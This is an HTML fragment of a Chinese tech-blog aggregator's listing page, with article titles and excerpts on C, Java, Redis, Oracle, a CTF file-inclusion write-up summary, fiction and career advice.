                           title="埃及之梦(二)" target="_blank">埃及之梦(二)</a>
                        <span class="text-muted">Rose吴芬琪</span>

                        <div>图片发自App漆黑的地下室金字塔的暗室一个个清空了内脏裹好了尸布的木乃伊送进来等待着被我一一祝福krumsatekrumkayamkrumkayam轮回的祝福渗透你的灵魂累世的伤痛一去不复灵魂的居所赋予神圣——咒语化作金色的文字隐入白色的布条kayamkrumkayam……图片发自App</div>
                    </li>
                    <li><a href="/article/1949532155637985280.htm"
                           title="白云下的九维湾 第八十八章" target="_blank">白云下的九维湾 第八十八章</a>
                        <span class="text-muted">Thebookworm新西兰</span>

                        <div>天气一天比一天变得炎热了起来,马尔堡已经进入到了圣诞的季节。路蔓与明明站立在海边山坡旁的羊圈旁,看着头戴草帽的Tim用强壮的手臂将羊儿从羊群里拖出来,在Jimmy的帮助下用电动推子修剪着羊毛。Jimmy身穿一件白色的,被汗水渗透了的背心,肌肉发达的手臂和胸肌在烈日下泛着淡棕色的光,腿上的牛仔裤脚被塞进了那一双黑色的长筒牛皮靴子里,那一双带着厚厚手套的手紧紧地抓住羊儿的前腿,让羊背靠在自己的身体上,</div>
                    </li>
                    <li><a href="/article/1949494580470673408.htm"
                           title="C语言基础--自学第一天" target="_blank">C语言基础--自学第一天</a>
                        <span class="text-muted">拾忆丶缀梦</span>
<a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>对于学习C语言,个人感觉要先清楚C语言的结构。了解了其结构框架,对于日后的学习还是很有帮助的。1.C语言的结构部分(1)头文件例如:#include头文件包含程序中要调用的库函数。后面所需要的输出代码输入代码,都是从头文件这个数据库中引用调用的。这边挂一个博主链接方便日后学习C语言常用库函数(含详细用法)_开始淡漠的博客-CSDN博客_c库函数(2)main函数main函数是程序的主体部分,是整个</div>
                    </li>
                    <li><a href="/article/1949456635663544320.htm"
                           title="C语言学习(十一)7.26" target="_blank">C语言学习(十一)7.26</a>
                        <span class="text-muted">sa905</span>
<a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>今天学习预处理命令和指针预处理命令分为宏定义、文件包含、条件编译宏定义又分为:不带参宏和带参宏不带参宏:#include标识符字符串带参宏:#includes(a,b)a*b宏名一般用大写字母表示;gcc-E这个命令只做预处理,不编译;不能再宏后面加上分号(;)加上分号会把分号一起处理;宏也还能嵌套处理;写宏时尽量加上括号,防止优先级出问题。宏就是只换不算,(无脑文本替换)文件包含:把文件打开复制</div>
                    </li>
                    <li><a href="/article/1949420955122069504.htm"
                           title="【攻防世界】 web | fileclude 详细题解WP" target="_blank">【攻防世界】 web | fileclude 详细题解WP</a>
                        <span class="text-muted">white-persist</span>
<a class="tag" taget="_blank" href="/search/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C/1.htm">攻防世界</a><a class="tag" taget="_blank" href="/search/WEB/1.htm">WEB</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/%E5%8E%9F%E5%9E%8B%E6%A8%A1%E5%BC%8F/1.htm">原型模式</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a>
                        <div>【攻防世界】web|fileclude详细题解WP打开环境首先代码审计阅读代码,有include()函数并且有GET传参的file1、file2的两个参数,猜测是文件包含伪协议题目文件包含伪协议【攻防世界】web|file_include详细题解WP-CSDN博客在我的一篇博客中有过一些详细的介绍,需要的话可以看看核心突破点在于:file_get_contents($file2)===“hello</div>
                    </li>
                    <li><a href="/article/1949370146065805312.htm"
                           title="从零起步:30岁转行网络安全的实战指南" target="_blank">从零起步:30岁转行网络安全的实战指南</a>
                        <span class="text-muted">程序员罗知知</span>
<a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/apache/1.htm">apache</a><a class="tag" taget="_blank" href="/search/%E9%9B%B6%E5%9F%BA%E7%A1%80/1.htm">零基础</a>
                        <div>从零起步:30岁转行网络安全的实战指南当你决定在30岁转行进入网络安全领域,那感觉就像突然跳进了深不见底的大海,既兴奋又有点怕水。但别担心,这条路上并不孤单。下面,咱就聊聊怎么一步步走向成功。转型之初的迷茫与方向认清自我是第一步。得知道自己到底对哪块感兴趣,是想搞渗透测试,还是更喜欢安全开发?比如我对Linux和编程特别着迷,于是选择了渗透测试作为切入点。接着就是学习资源的选择。网络上信息多得让人</div>
                    </li>
                    <li><a href="/article/1949337365143154688.htm"
                           title="#渗透测试#网络安全#一文了解什么是中间件!!!" target="_blank">#渗透测试#网络安全#一文了解什么是中间件!!!</a>
                        <span class="text-muted">独行soc</span>
<a class="tag" taget="_blank" href="/search/%E4%B8%80%E6%96%87%E4%BA%86%E8%A7%A3/1.htm">一文了解</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/1.htm">漏洞挖掘</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E4%B8%AD%E9%97%B4%E4%BB%B6/1.htm">中间件</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                        <div>免责声明本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。目录一、什么是中间件中间件的定义中间件的功能中间件的分类二、中间件技术的发展趋势三、中间件在云上的应用四、云中间件高可用性实现方法五、云中间件集群管理最佳实践六、云中间件性能监控指标详解七、提</div>
                    </li>
                    <li><a href="/article/1949278604261126144.htm"
                           title="技术人的终极命题:AI是敌人、伙伴还是镜子?" target="_blank">技术人的终极命题:AI是敌人、伙伴还是镜子?</a>
                        <span class="text-muted">zhuzhi</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E9%87%8F%E5%AD%90%E8%AE%A1%E7%AE%97/1.htm">量子计算</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/1.htm">开发工具</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/langchain/1.htm">langchain</a><a class="tag" taget="_blank" href="/search/devops/1.htm">devops</a>
                        <div>2025年的夏天,上海华侨大楼里,人民网发布的《中国智能互联网发展报告》用一组数据刺痛了每个技术人的神经:全国算力总规模突破280EFlops,生成式AI用户达2.49亿,自动驾驶商用城市增至23个,人形机器人开始在生产线与手术室里替代人类操作。当AI渗透进医疗、制造、交通等人类社会的底层系统,技术人不得不直面那个终极命题——我们究竟在创造一个怎样的未来?AI究竟是威胁人类文明的敌人、赋能产业升级</div>
                    </li>
                    <li><a href="/article/1949272302059319296.htm"
                           title="Python中如何打开查看.npz文件" target="_blank">Python中如何打开查看.npz文件</a>
                        <span class="text-muted">SEVEN是7</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>.npz文件是NumPy的压缩存档格式,可以包含多个数组(一个.npz文件包含几个数组)一、导入包importnumpyasnp二、数据加载poem=np.load('tang.npz',allow_pickle=True)使用NumPy的load()函数加载.npz文件:file_path:指定要加载的文件路径allow_pickle=True:允许加载包含Python对象(pickle)的数据</div>
                    </li>
                                <li><a href="/article/113.htm"
                                       title="windows下源码安装golang" target="_blank">windows下源码安装golang</a>
                                    <span class="text-muted">616050468</span>
<a class="tag" taget="_blank" href="/search/golang%E5%AE%89%E8%A3%85/1.htm">golang安装</a><a class="tag" taget="_blank" href="/search/golang%E7%8E%AF%E5%A2%83/1.htm">golang环境</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a>
                                    <div>         系统: 64位win7, 开发环境:sublime text 2,  go版本: 1.4.1 
  
 1.  安装前准备(gcc, gdb, git) 
       golang在64位系</div>
                                </li>
                                <li><a href="/article/240.htm"
                                       title="redis批量删除带空格的key" target="_blank">redis批量删除带空格的key</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a>
                                    <div>redis批量删除的通常做法: 
 
 
redis-cli keys "blacklist*" | xargs redis-cli del 
 
上面的命令在key的前后没有空格时是可以的,但有空格就不行了: 
 

$redis-cli keys "blacklist*"
1) "blacklist:12: 361942420@qq.com</div>
                                </li>
                                <li><a href="/article/367.htm"
                                       title="oracle正则表达式的用法" target="_blank">oracle正则表达式的用法</a>
                                    <span class="text-muted">0624chenhong</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/1.htm">正则表达式</a>
                                    <div>  方括号表达示 
方括号表达式 
描述 
[[:alnum:]] 
字母和数字混合的字符 
[[:alpha:]] 
字母字符 
[[:cntrl:]] 
控制字符 
[[:digit:]] 
数字字符 
[[:graph:]] 
图像字符 
[[:lower:]] 
小写字母字符 
[[:print:]] 
打印字符 
[[:punct:]] 
标点符号字符 
[[:space:]]</div>
                                </li>
                                <li><a href="/article/494.htm"
                                       title="2048源码(核心算法有,缺少几个anctionbar,以后补上)" target="_blank">2048源码(核心算法有,缺少几个anctionbar,以后补上)</a>
                                    <span class="text-muted">不懂事的小屁孩</span>
<a class="tag" taget="_blank" href="/search/2048/1.htm">2048</a>
                                    <div>2048游戏基本上有四部分组成, 
1:主activity,包含游戏块的16个方格,上面统计分数的模块 
2:底下的gridview,监听上下左右的滑动,进行事件处理, 
3:每一个卡片,里面的内容很简单,只有一个text,记录显示的数字 
4:Actionbar,是游戏用重新开始,设置等功能(这个在底下可以下载的代码里面还没有实现) 
 
写代码的流程 
1:设计游戏的布局,基本是两块,上面是分</div>
                                </li>
                                <li><a href="/article/621.htm"
                                       title="jquery内部链式调用机理" target="_blank">jquery内部链式调用机理</a>
                                    <span class="text-muted">换个号韩国红果果</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a>
                                    <div>只需要在调用该对象合适(比如下列的setStyles)的方法后让该方法返回该对象(通过this  因为一旦一个函数称为一个对象方法的话那么在这个方法内部this(结合下面的setStyles)指向这个对象) 

function  create(type){
var element=document.createElement(type);
    //this=element;
</div>
                                </li>
                                <li><a href="/article/748.htm"
                                       title="你订酒店时的每一次点击 背后都是NoSQL和云计算" target="_blank">你订酒店时的每一次点击 背后都是NoSQL和云计算</a>
                                    <span class="text-muted">蓝儿唯美</span>
<a class="tag" taget="_blank" href="/search/NoSQL/1.htm">NoSQL</a>
                                    <div>全球最大的在线旅游公司Expedia旗下的酒店预订公司,它运营着89个网站,跨越68个国家,三年前开始实验公有云,以求让客户在预订网站上查询假期酒店时得到更快的信息获取体验。 
云端本身是用于驱动网站的部分小功能的,如搜索框的自动推荐功能,还能保证处理Hotels.com服务的季节性需求高峰整体储能。 
Hotels.com的首席技术官Thierry Bedos上个月在伦敦参加“2015 Clou</div>
                                </li>
                                <li><a href="/article/875.htm"
                                       title="java笔记1" target="_blank">java笔记1</a>
                                    <span class="text-muted">a-john</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>1,面向对象程序设计(Object-oriented Propramming,OOP):java就是一种面向对象程序设计。 
2,对象:我们将问题空间中的元素及其在解空间中的表示称为“对象”。简单来说,对象是某个类型的实例。比如狗是一个类型,哈士奇可以是狗的一个实例,也就是对象。 
3,面向对象程序设计方式的特性: 
    3.1 万物皆为对象。 
   </div>
                                </li>
                                <li><a href="/article/1002.htm"
                                       title="C语言 sizeof和strlen之间的那些事 C/C++软件开发求职面试题 必备考点(一)" target="_blank">C语言 sizeof和strlen之间的那些事 C/C++软件开发求职面试题 必备考点(一)</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/C%2FC%2B%2B%E6%B1%82%E8%81%8C%E9%9D%A2%E8%AF%95%E5%BF%85%E5%A4%87%E8%80%83%E7%82%B9/1.htm">C/C++求职面试必备考点</a>
                                    <div>        找工作在即,以后决定每天至少写一个知识点,主要是记录,逼迫自己动手、总结加深印象。当然如果能有一言半语让他人收益,后学幸运之至也。如有错误,还希望大家帮忙指出来。感激不尽。 
       后学保证每个写出来的结果都是自己在电脑上亲自跑过的,咱人笨,以前学的也半吊子。很多时候只能靠运行出来的结果再反过来</div>
                                </li>
                                <li><a href="/article/1129.htm"
                                       title="程序员写代码时就不要管需求了吗?" target="_blank">程序员写代码时就不要管需求了吗?</a>
                                    <span class="text-muted">asia007</span>
<a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98%E4%B8%8D%E8%83%BD%E4%B8%80%E5%91%B3%E8%B7%9F%E9%9C%80%E6%B1%82%E8%B5%B0/1.htm">程序员不能一味跟需求走</a>
                                    <div>      编程也有2年了,刚开始不懂的什么都跟需求走,需求是怎样就用代码实现就行,也不管这个需求是否合理,是否为较好的用户体验。当然刚开始编程都会这样,但是如果有了2年以上的工作经验的程序员只知道一味写代码,而不在写的过程中思考一下这个需求是否合理,那么,我想这个程序员就只能一辈写敲敲代码了。 
      我的技术不是很好,但是就不代</div>
                                </li>
                                <li><a href="/article/1256.htm"
                                       title="Activity的四种启动模式" target="_blank">Activity的四种启动模式</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/%E6%A0%88%E6%A8%A1%E5%BC%8F%E5%90%AF%E5%8A%A8/1.htm">栈模式启动</a><a class="tag" taget="_blank" href="/search/Activity%E7%9A%84%E6%A0%87%E5%87%86%E6%A8%A1%E5%BC%8F%E5%90%AF%E5%8A%A8/1.htm">Activity的标准模式启动</a><a class="tag" taget="_blank" href="/search/%E6%A0%88%E9%A1%B6%E6%A8%A1%E5%BC%8F%E5%90%AF%E5%8A%A8/1.htm">栈顶模式启动</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E4%BE%8B%E6%A8%A1%E5%BC%8F%E5%90%AF%E5%8A%A8/1.htm">单例模式启动</a>
                                    <div>android界面的操作就是很多个activity之间的切换,启动模式决定启动的activity的生命周期 ; 
  
启动模式xml中配置 
    <activity android:name=".MainActivity" android:launchMode="standard&quo</div>
                                </li>
                                <li><a href="/article/1383.htm"
                                       title="Spring中@Autowired标签与@Resource标签的区别" target="_blank">Spring中@Autowired标签与@Resource标签的区别</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/%40Resource/1.htm">@Resource</a><a class="tag" taget="_blank" href="/search/%40Autowired/1.htm">@Autowired</a><a class="tag" taget="_blank" href="/search/%40Qualifier/1.htm">@Qualifier</a>
                                    <div>Spring不但支持自己定义的@Autowired注解,还支持由JSR-250规范定义的几个注解,如:@Resource、 @PostConstruct及@PreDestroy。 
  
1. @Autowired    @Autowired是Spring 提供的,需导入    Package:org.springframewo</div>
                                </li>
                                <li><a href="/article/1510.htm"
                                       title="Changes Between SOAP 1.1 and SOAP 1.2" target="_blank">Changes Between SOAP 1.1 and SOAP 1.2</a>
                                    <span class="text-muted">sunjing</span>
<a class="tag" taget="_blank" href="/search/Changes/1.htm">Changes</a><a class="tag" taget="_blank" href="/search/Enable/1.htm">Enable</a><a class="tag" taget="_blank" href="/search/SOAP+1.1/1.htm">SOAP 1.1</a><a class="tag" taget="_blank" href="/search/SOAP+1.2/1.htm">SOAP 1.2</a>
                                    <div>JAX-WS 
SOAP Version 1.2 Part 0: Primer (Second Edition) 
SOAP Version 1.2 Part 1: Messaging Framework (Second Edition) 
SOAP Version 1.2 Part 2: Adjuncts (Second Edition) 
  
Which style of WSDL</div>
                                </li>
                                <li><a href="/article/1637.htm"
                                       title="【Hadoop二】Hadoop常用命令" target="_blank">【Hadoop二】Hadoop常用命令</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/hadoop/1.htm">hadoop</a>
                                    <div>以Hadoop运行Hadoop自带的wordcount为例, 
  
hadoop脚本位于/home/hadoop/hadoop-2.5.2/bin/hadoop,需要说明的是,这些命令的使用必须在Hadoop已经运行的情况下才能执行 
  Hadoop HDFS相关命令 
 
  hadoop fs -ls 
 
 列出HDFS文件系统的第一级文件和第一级</div>
                                </li>
                                <li><a href="/article/1764.htm"
                                       title="java异常处理(初级)" target="_blank">java异常处理(初级)</a>
                                    <span class="text-muted">白糖_</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/DAO/1.htm">DAO</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/%E8%99%9A%E6%8B%9F%E6%9C%BA/1.htm">虚拟机</a><a class="tag" taget="_blank" href="/search/Ajax/1.htm">Ajax</a>
                                    <div>从学习到现在从事java开发一年多了,个人觉得对java只了解皮毛,很多东西都是用到再去慢慢学习,编程真的是一项艺术,要完成一段好的代码,需要懂得很多。 
最近项目经理让我负责一个组件开发,框架都由自己搭建,最让我头疼的是异常处理,我看了一些网上的源码,发现他们对异常的处理不是很重视,研究了很久都没有找到很好的解决方案。后来有幸看到一个200W美元的项目部分源码,通过他们对异常处理的解决方案,我终</div>
                                </li>
                                <li><a href="/article/1891.htm"
                                       title="记录整理-工作问题" target="_blank">记录整理-工作问题</a>
                                    <span class="text-muted">braveCS</span>
<a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a>
                                    <div>1)那位同学还是CSV文件默认Excel打开看不到全部结果。以为是没写进去。同学甲说文件应该不分大小。后来log一下原来是有写进去。只是Excel有行数限制。那位同学进步好快啊。 
2)今天同学说写文件的时候提示jvm的内存溢出。我马上反应说那就改一下jvm的内存大小。同学说改用分批处理了。果然想问题还是有局限性。改jvm内存大小只能暂时地解决问题,以后要是写更大的文件还是得改内存。想问题要长远啊</div>
                                </li>
                                <li><a href="/article/2018.htm"
                                       title="org.apache.tools.zip实现文件的压缩和解压,支持中文" target="_blank">org.apache.tools.zip实现文件的压缩和解压,支持中文</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/apache/1.htm">apache</a>
                                    <div>刚开始用java.util.Zip,发现不支持中文(网上有修改的方法,但比较麻烦) 
后改用org.apache.tools.zip 
org.apache.tools.zip的使用网上有更简单的例子 
下面的程序根据实际需求,实现了压缩指定目录下指定文件的方法 
 



import java.io.BufferedReader;
import java.io.BufferedWrit</div>
                                </li>
                                <li><a href="/article/2145.htm"
                                       title="读书笔记-4" target="_blank">读书笔记-4</a>
                                    <span class="text-muted">chengxuyuancsdn</span>
<a class="tag" taget="_blank" href="/search/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/1.htm">读书笔记</a>
                                    <div>1、JSTL 核心标签库标签 
2、避免SQL注入 
3、字符串逆转方法 
4、字符串比较compareTo 
5、字符串替换replace 
6、分拆字符串 
 
 
1、JSTL 核心标签库标签共有13个,
学习资料:http://www.cnblogs.com/lihuiyy/archive/2012/02/24/2366806.html
功能上分为4类:
(1)表达式控制标签:out</div>
                                </li>
                                <li><a href="/article/2272.htm"
                                       title="[物理与电子]半导体教材的一个小问题" target="_blank">[物理与电子]半导体教材的一个小问题</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E9%97%AE%E9%A2%98/1.htm">问题</a>
                                    <div> 
 
      各种模拟电子和数字电子教材中都有这个词汇-空穴 
 
      书中对这个词汇的解释是; 当电子脱离共价键的束缚成为自由电子之后,共价键中就留下一个空位,这个空位叫做空穴 
 
      我现在回过头翻大学时候的教材,觉得这个</div>
                                </li>
                                <li><a href="/article/2399.htm"
                                       title="Flashback Database --闪回数据库" target="_blank">Flashback Database --闪回数据库</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E9%97%AA%E5%9B%9E%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">闪回数据库</a>
                                    <div>Flashback 技术是以Undo segment中的内容为基础的, 因此受限于UNDO_RETENTON参数。要使用flashback 的特性,必须启用自动撤销管理表空间。 
在Oracle 10g中, Flash back家族分为以下成员: Flashback Database, Flashback Drop,Flashback Query(分Flashback Query,Flashbac</div>
                                </li>
                                <li><a href="/article/2526.htm"
                                       title="简单排序:插入排序" target="_blank">简单排序:插入排序</a>
                                    <span class="text-muted">dieslrae</span>
<a class="tag" taget="_blank" href="/search/%E6%8F%92%E5%85%A5%E6%8E%92%E5%BA%8F/1.htm">插入排序</a>
                                    <div>
    public void insertSort(int[] array){
        int temp;
        
        for(int i=1;i<array.length;i++){
            temp = array[i];
            
            for(int k=i-1;k>=0;k--)</div>
                                </li>
                                <li><a href="/article/2653.htm"
                                       title="C语言学习六指针小示例、一维数组名含义,定义一个函数输出数组的内容" target="_blank">C语言学习六指针小示例、一维数组名含义,定义一个函数输出数组的内容</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a>
                                    <div># include <stdio.h>

int main(void)
{
	int * p; //等价于 int *p 也等价于 int* p;
	int i = 5;
	char ch = 'A';

	//p = 5;	//error
	//p = &ch;	//error
	//p = ch;	//error

	p = &i;		// </div>
                                </li>
                                <li><a href="/article/2780.htm"
                                       title="centos下php redis扩展的安装配置3种方法" target="_blank">centos下php redis扩展的安装配置3种方法</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a>
                                    <div>方法一 
1.下载php redis扩展包     代码如下 复制代码    
#wget http://redis.googlecode.com/files/redis-2.4.4.tar.gz     
2 tar -zxvf 解压压缩包,cd /扩展包 (进入扩展包然后 运行phpize 一下是我环境中phpize的目录,/usr/local/php/bin/phpize (一定要</div>
                                </li>
                                <li><a href="/article/2907.htm"
                                       title="线程池(Executors)" target="_blank">线程池(Executors)</a>
                                    <span class="text-muted">shuizhaosi888</span>
<a class="tag" taget="_blank" href="/search/%E7%BA%BF%E7%A8%8B%E6%B1%A0/1.htm">线程池</a>
                                    <div>在java类库中,任务执行的主要抽象不是Thread,而是Executor,将任务的提交过程和执行过程解耦 
	public interface Executor {

	    void execute(Runnable command);
	}
 
  
public class RunMain implements Executor{

	@Override
	pub</div>
                                </li>
                                <li><a href="/article/3034.htm"
                                       title="openstack 快速安装笔记" target="_blank">openstack 快速安装笔记</a>
                                    <span class="text-muted">haoningabc</span>
<a class="tag" taget="_blank" href="/search/openstack/1.htm">openstack</a>
                                    <div>前提是要配置好yum源 
版本icehouse,操作系统redhat6.5 
最简化安装,不要cinder和swift 
三个节点 
172 control节点keystone glance horizon 
173 compute节点nova 
173 network节点neutron 
 

control
/etc/sysctl.conf

net.ipv4.ip_forward =</div>
                                </li>
                                <li><a href="/article/3161.htm"
                                       title="从c面向对象的实现理解c++的对象(二)" target="_blank">从c面向对象的实现理解c++的对象(二)</a>
                                    <span class="text-muted">jimmee</span>
<a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1/1.htm">面向对象</a><a class="tag" taget="_blank" href="/search/%E8%99%9A%E5%87%BD%E6%95%B0/1.htm">虚函数</a>
                                    <div>1. 类就可以看作一个struct,类的方法,可以理解为通过函数指针的方式实现的,类对象分配内存时,只分配成员变量的,函数指针并不需要分配额外的内存保存地址。 
2. c++中类的构造函数,就是进行内存分配(malloc),调用构造函数 
3. c++中类的析构函数,就时回收内存(free) 
4. c++是基于栈和全局数据分配内存的,如果是一个方法内创建的对象,就直接在栈上分配内存了。 
专门在</div>
                                </li>
                                <li><a href="/article/3288.htm"
                                       title="如何让那个一个div可以拖动" target="_blank">如何让那个一个div可以拖动</a>
                                    <span class="text-muted">lingfeng520240</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a>
                                    <div>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml</div>
                                </li>
                                <li><a href="/article/3415.htm"
                                       title="第10章 高级事件(中)" target="_blank">第10章 高级事件(中)</a>
                                    <span class="text-muted">onestopweb</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%8B%E4%BB%B6/1.htm">事件</a>
                                    <div>index.html 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/</div>
                                </li>
                                <li><a href="/article/3542.htm"
                                       title="计算两个经纬度之间的距离" target="_blank">计算两个经纬度之间的距离</a>
                                    <span class="text-muted">roadrunners</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97/1.htm">计算</a><a class="tag" taget="_blank" href="/search/%E7%BA%AC%E5%BA%A6/1.htm">纬度</a><a class="tag" taget="_blank" href="/search/LBS/1.htm">LBS</a><a class="tag" taget="_blank" href="/search/%E7%BB%8F%E5%BA%A6/1.htm">经度</a><a class="tag" taget="_blank" href="/search/%E8%B7%9D%E7%A6%BB/1.htm">距离</a>
                                    <div>要解决这个问题的时候,到网上查了很多方案,最后计算出来的都与百度计算出来的有出入。下面这个公式计算出来的距离和百度计算出来的距离是一致的。 
	/**
	 * 
	 * @param longitudeA
	 *            经度A点
	 * @param latitudeA
	 *            纬度A点
	 * @param longitudeB
	 *    </div>
                                </li>
                                <li><a href="/article/3669.htm"
                                       title="最具争议的10个Java话题" target="_blank">最具争议的10个Java话题</a>
                                    <span class="text-muted">tomcat_oracle</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>1、Java8已经到来。什么!? Java8 支持lambda。哇哦,RIP Scala!     随着Java8 的发布,出现很多关于新发布的Java8是否有潜力干掉Scala的争论,最终的结论是远远没有那么简单。Java8可能已经在Scala的lambda的包围中突围,但Java并非是函数式编程王位的真正觊觎者。     
 2、Java 9 即将到来      
Oracle早在8月份就发布</div>
                                </li>
                                <li><a href="/article/3796.htm"
                                       title="zoj 3826 Hierarchical Notation(模拟)" target="_blank">zoj 3826 Hierarchical Notation(模拟)</a>
                                    <span class="text-muted">阿尔萨斯</span>
<a class="tag" taget="_blank" href="/search/rar/1.htm">rar</a>
                                    <div> 题目链接:zoj 3826 Hierarchical Notation 
 题目大意:给定一些结构体,结构体有value值和key值,Q次询问,输出每个key值对应的value值。 
 解题思路:思路很简单,写个类词法的递归函数,每次将key值映射成一个hash值,用map映射每个key的value起始终止位置,预处理完了查询就很简单了。 这题是最后10分钟出的,因为没有考虑value为{}的情</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
